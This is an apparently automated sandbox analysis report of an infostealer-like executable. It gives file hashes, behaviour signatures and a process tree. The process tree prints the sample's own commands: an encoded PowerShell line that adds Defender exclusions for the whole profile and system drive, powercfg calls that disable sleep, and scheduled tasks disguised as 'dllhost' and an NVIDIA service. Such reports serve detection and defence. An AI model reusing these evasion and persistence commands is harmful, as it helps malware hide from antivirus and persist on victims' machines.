Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    12/02/2025, 21:08

General

  • Target

    piponis-main/bffgjingfr.exe

  • Size

    1.2MB

  • MD5

    34f0b37dd6049612720b5c35f6504f7b

  • SHA1

    ac48624dffc781d53471f100388bea34c9112c43

  • SHA256

    fc99aed0e4ffc0b3cd6c19d796fdb45323173f92a2561332ad229f2050a6c75e

  • SHA512

    324ad2105b049c71c6196fa24b856b77f1eefc763b02066db08e8d349c8f490c290c62a55242122f3c230ad68af47a5d25ec7ee3424a6b1f83ca25f200f4dd6c

  • SSDEEP

    24576:xbPoaRmCfpVA3rZ6fCctBkI/sA2O0YKmF1st07XBfQhQo+2:xbxmCHA3rZ4Cg7iO0o7BfQij

Malware Config

Signatures

  • Downloads MZ/PE file 4 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Power Settings 1 TTPs 6 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\piponis-main\bffgjingfr.exe
    "C:\Users\Admin\AppData\Local\Temp\piponis-main\bffgjingfr.exe"
    1⤵
    • Downloads MZ/PE file
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5180
    • C:\Users\Admin\AppData\Local\Temp\6LZG7N1TJC3FTJXJ.exe
      "C:\Users\Admin\AppData\Local\Temp\6LZG7N1TJC3FTJXJ.exe"
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:540
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C powershell -EncodedCommand "PAAjADMAcQBSADkAUwBEAGkAVwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0ATQBSAFcAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBTAGoASgBXACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAMwBsAHcANQAxAGoAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
        3⤵
        • Power Settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -EncodedCommand "PAAjADMAcQBSADkAUwBEAGkAVwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0ATQBSAFcAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBTAGoASgBXACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAMwBsAHcANQAxAGoAIwA+AA=="
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4800
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:224
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1084
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4084
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4408
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /hibernate off
          4⤵
          • Power Settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:732
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4400
        • C:\Windows\SysWOW64\schtasks.exe
          SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:3436
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk8192" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4592
        • C:\Windows\SysWOW64\schtasks.exe
          SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk8192" /TR "C:\ProgramData\Dllhost\dllhost.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:2968
  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NDgwNEU1NzAtM0JFOC00RjBCLUI4MUQtNjUxMEVCRTlCMUUzfSIgdXNlcmlkPSJ7RUQzNTlDNjItNDJBMy00RjhCLUFEMTUtMDhCMjM2MUFCNEIzfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7N0UzQzJCNUUtRDBBNy00QjUwLUI2RjQtNUFGNkE2QTM2NEU0fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0NC40NTI5IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iMTI1IiBpc193aXA9IjAiIGlzX2luX2xvY2tkb3duX21vZGU9IjAiLz48b2VtIHByb2R1Y3RfbWFudWZhY3R1cmVyPSIiIHByb2R1Y3RfbmFtZT0iIi8-PGV4cCBldGFnPSImcXVvdDtyNDUydDErazJUZ3EvSFh6anZGTkJSaG9wQldSOXNialh4cWVVREg5dVgwPSZxdW90OyIvPjxhcHAgYXBwaWQ9Ins4QTY5RDM0NS1ENTY0LTQ2M2MtQUZGMS1BNjlEOUU1MzBGOTZ9IiB2ZXJzaW9uPSIxMjMuMC42MzEyLjEyMyIgbmV4dHZlcnNpb249IiIgbGFuZz0iZW4iIGJyYW5kPSJHR0xTIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iMSIgaW5zdGFsbGRhdGV0aW1lPSIxNzM5MjcwNDg0IiBvb2JlX2luc3RhbGxfdGltZT0iMTMzODM3NDE5MzM1MTUwMDAwIj48ZXZlbnQgZXZlbnR0eXBlPSIzMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMjE3OTg2MiIgc3lzdGVtX3VwdGltZV90aWNrcz0iNDk3MTk2Mjk0MCIvPjwvYXBwPjwvcmVxdWVzdD4
    1⤵
    • System Location Discovery: System Language Discovery
    • System Network Configuration Discovery: Internet Connection Discovery
    PID:5564

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\6LZG7N1TJC3FTJXJ.exe

    Filesize

    21KB

    MD5

    c11a82d699a06d9b8ba4296e0c562ae4

    SHA1

    e91963fe8def3ed151333a6a66d005237600ba30

    SHA256

    483b1d7dac70de82e9b22a0c1ed775cf7e10b0a3790c5aa1b9215dbcd1754302

    SHA512

    cc8644279ea2cebf70f594f6cc48d6ebbc10d036b7dcf1008fc05565da85cc36f7e8af7faa49b7c117c9a6ac94d7c007a99b53ec1dd668a7f8c28dc25b410a54

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0rjcmcs.eec.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/540-21-0x0000000072E2E000-0x0000000072E2F000-memory.dmp

    Filesize

    4KB

  • memory/540-73-0x0000000072E20000-0x00000000735D1000-memory.dmp

    Filesize

    7.7MB

  • memory/540-65-0x0000000072E20000-0x00000000735D1000-memory.dmp

    Filesize

    7.7MB

  • memory/540-64-0x0000000072E2E000-0x0000000072E2F000-memory.dmp

    Filesize

    4KB

  • memory/540-27-0x00000000055E0000-0x0000000005646000-memory.dmp

    Filesize

    408KB

  • memory/540-26-0x0000000072E20000-0x00000000735D1000-memory.dmp

    Filesize

    7.7MB

  • memory/540-25-0x0000000005470000-0x000000000547A000-memory.dmp

    Filesize

    40KB

  • memory/540-24-0x0000000005540000-0x00000000055D2000-memory.dmp

    Filesize

    584KB

  • memory/540-23-0x0000000005AF0000-0x0000000006096000-memory.dmp

    Filesize

    5.6MB

  • memory/540-22-0x0000000000C00000-0x0000000000C0C000-memory.dmp

    Filesize

    48KB

  • memory/4800-29-0x0000000005820000-0x0000000005EEA000-memory.dmp

    Filesize

    6.8MB

  • memory/4800-44-0x0000000006D20000-0x0000000006D52000-memory.dmp

    Filesize

    200KB

  • memory/4800-60-0x0000000007CD0000-0x0000000007D66000-memory.dmp

    Filesize

    600KB

  • memory/4800-59-0x0000000007AD0000-0x0000000007ADA000-memory.dmp

    Filesize

    40KB

  • memory/4800-58-0x0000000007A60000-0x0000000007A7A000-memory.dmp

    Filesize

    104KB

  • memory/4800-57-0x00000000080C0000-0x000000000873A000-memory.dmp

    Filesize

    6.5MB

  • memory/4800-56-0x0000000007970000-0x0000000007A13000-memory.dmp

    Filesize

    652KB

  • memory/4800-55-0x0000000006D00000-0x0000000006D1E000-memory.dmp

    Filesize

    120KB

  • memory/4800-45-0x000000006F5E0000-0x000000006F62C000-memory.dmp

    Filesize

    304KB

  • memory/4800-28-0x00000000030C0000-0x00000000030F6000-memory.dmp

    Filesize

    216KB

  • memory/4800-43-0x00000000067A0000-0x00000000067EC000-memory.dmp

    Filesize

    304KB

  • memory/4800-30-0x0000000005FA0000-0x0000000005FC2000-memory.dmp

    Filesize

    136KB

  • memory/4800-31-0x0000000006040000-0x00000000060A6000-memory.dmp

    Filesize

    408KB

  • memory/4800-42-0x00000000066F0000-0x000000000670E000-memory.dmp

    Filesize

    120KB

  • memory/4800-41-0x0000000006220000-0x0000000006577000-memory.dmp

    Filesize

    3.3MB

  • memory/5180-11-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-63-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-15-0x00000000014A0000-0x00000000014A5000-memory.dmp

    Filesize

    20KB

  • memory/5180-16-0x00000000014A0000-0x00000000014A5000-memory.dmp

    Filesize

    20KB

  • memory/5180-7-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-8-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-9-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-10-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-0-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-5-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-6-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-3-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-2-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-69-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-71-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-72-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-1-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-74-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB

  • memory/5180-75-0x00000000000E0000-0x00000000004A4000-memory.dmp

    Filesize

    3.8MB